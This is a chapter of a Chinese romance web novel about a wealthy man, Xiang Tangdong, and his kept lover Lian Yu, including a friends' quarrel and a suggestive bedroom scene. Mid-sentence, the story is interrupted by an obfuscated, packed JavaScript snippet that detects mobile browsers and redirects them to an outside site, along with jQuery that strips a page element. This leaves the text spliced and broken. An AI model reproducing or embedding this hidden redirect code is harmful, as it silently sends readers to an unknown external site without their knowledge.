中午,项堂东知道了连玉昨天失魂落魄的原因。
马场大厅有监控。
项堂东从监控中看到,短短一个小时,他的小哑巴猫被骚扰了三遍,高清摄像头还清楚拍到连玉面对周至原时的难过。
下午上班,项堂东向万泉要了行程表。
万泉有些意外。
今天的行程他早晨汇报过,老板记忆力超群,以前从不多问。
几分钟后,项堂东将行程表还给万泉。
他勾掉了几项工作,下班时间瞬间提前一个半小时。
项堂东:“这几项另外安排时间。”
万泉:“好的老板。”
他推测这种改变和小少爷有关,不由惊讶,这几年老板很少因为私事耽误公事。
上次是半年前老夫人胃病住院。
项堂东想提前下班陪连玉,至少让他不那么孤独。
不过继续工作后,理智很快回笼。
有些时候陪伴解决不了什么问题。
项堂东联系了周至原:“晚上有空吗,出来喝两杯。”
之后他翻找连玉的微信。
过程有些麻烦,他们只在加好友时说过话,连玉的聊天框被无数新的消息超越,压到很底层的位置。
项堂东将连玉的微信号置顶,输入框删删减减。
连玉正在和刘六聊天。
他在这个世界认识的人不多,联系密切的就更少,为回消息方便置顶了几个人:刘六、邱航风、林封、项堂东。
连玉第一时间看到项堂东居然给他发了消息。
他点开。
一条转账记录,金主爸爸给他转账十万块。
连玉:【?】
他等了有一会儿,聊天框最上面一直显示对方正在输入中,最后终于等到:【最近很乖,奖励】。
连玉不太明白项堂东发红包给他的规律。
他最近很乖吗?
想到昨晚的工作失误,连玉有些心虚,精心挑选了可爱的顶着“谢谢”两个字的表情包发过去。
项堂东:【去玩吧】。
项堂东:【晚上有事要忙,自己吃饭】。
和连玉聊完后,项堂东的工作效率提高很多。
他按时下班。
周至原到的早,还带了珍藏的酒。
项堂东看他兴高采烈还和少年时一样,心头不禁一软,走近了说:“最近家里还太平?”
周至原眉梢一扬:“那肯定的,见了我跟老鼠见猫。”
他已经是板上钉钉的太子爷,就是他老子也轻易动不了他,死卡着那位置苟延残喘而已。
项堂东:“难怪,你家里清闲,就在我这儿捣乱?”
兄弟约着一起喝个酒是常事。
周至原原本没多想,闻言眉眼就冷了:“小东西看着胆子不大,还挺会告状。”
项堂东:“他有名字。”
周至原:......重点是这个吗?
项堂东:“他没提过,有人看到了跟我通气,想让我们兄弟离心。”
周至原顿时又忿忿:“谁?”
项堂东:“这件事我会处理。”
他正色道:“阿原,连玉是个孤儿,还年少体弱,禁不起你折腾。是我找的他,还将他带在身边。我不许,他想走也走不了。有什么气以后只管冲我。”
如果连玉骄横跋扈,项堂东不会这么维护他。
若连玉像有些人的情人那样为非作歹,他可能顺水推舟随周至原打压教训。
但是连玉什么都没做。
让干什么干什么,平常乖乖在家待着。
最凶也就是床笫间承受不住迷糊着踹他两脚抓他两下,猫挠似的。
周至原没想到项堂东竟这么重视连玉。
他只好道:“只要那小赝品安分守己,我才懒得搭理他。”
某种直觉,项堂东拧眉:“你告诉他了?”
周至原:“这件事又不是秘密,不能说?”
项堂东没有说话。
他当然知道这件事不是秘密,可他还没来得及告诉连玉......
项堂东回到家已经九点半。
他一身酒气,原本该立即洗澡,但想到连玉猝不及防的知道自己是替身,又想先看看他。
床上没人,不禁意外。
项堂东在隔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993749|178080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
壁卧室找到连玉。
虽然两个房间很近,但他已经感到麻烦,不过很快这点心绪被迎面扑过来的连玉打断。
连玉抱住项堂东的脖颈,两条小腿在他腰侧一跃一跃的:“你再不回来我都困了。”
项堂东往后仰:“我喝了酒。”
连玉大概是有点反骨,项堂东越躲他越要凑近。
当然,也可能因为项堂东身上的酒味不难闻,反而有种微醺的淡香让这个总是严肃板正的男人多了几分慵懒。
连玉说:“不难闻,你闻闻我,香不香?”
项堂东闻到连玉身上沐浴露的味道,淡淡的清香,干净又清爽。
他理智的拒绝:“我先去洗澡。”
连玉一边亲吻他脖颈,一边坏心眼的催:“去吧。”
项堂东最终洗了澡,和连玉一起,在都出了一身汗之后。
他略微用力,连玉就像昨天那样趴在他胸口了。
项堂东意犹未尽的用手掌丈量连玉纤细的腰:“以后不要这么淘气。”
他原本想洗澡,然后和连玉好好聊一聊。
现在这个样,并不是很适合说一些严肃的话题。
连玉没有力气反驳,咬了咬项堂东抚摸他嘴唇的手指。
他怎么淘气了?
拿钱办事,十万块小费换他热情接纳,很符合规矩。
倒是项堂东,现在一本正经,好像那会儿把他双手束在头顶一言不发狠狠发力的是别人。
还好他是趴.墙上不是床上,要不感觉床都得遭老罪了。
连玉有点怨念但也悄悄的回味了一下刚才的感觉。
不过接下来还有正事。
虽然以前没接触过做人家小情人的业务,但拍戏拍的多,他知道这时候人的神经最松弛,聊一些事不容易崩盘。
连玉往前攀了攀,脑袋精准靠在项堂东颈窝。
他鬼鬼祟祟问:“那什么,我听林哥说哥你是国外名校博士毕业,跳级读的书,还是双学位?”
满脑子都是连玉哼唧声的项堂东,心不在焉:“嗯......”
连玉:“那你对只有高中毕业证这件事,怎么看?”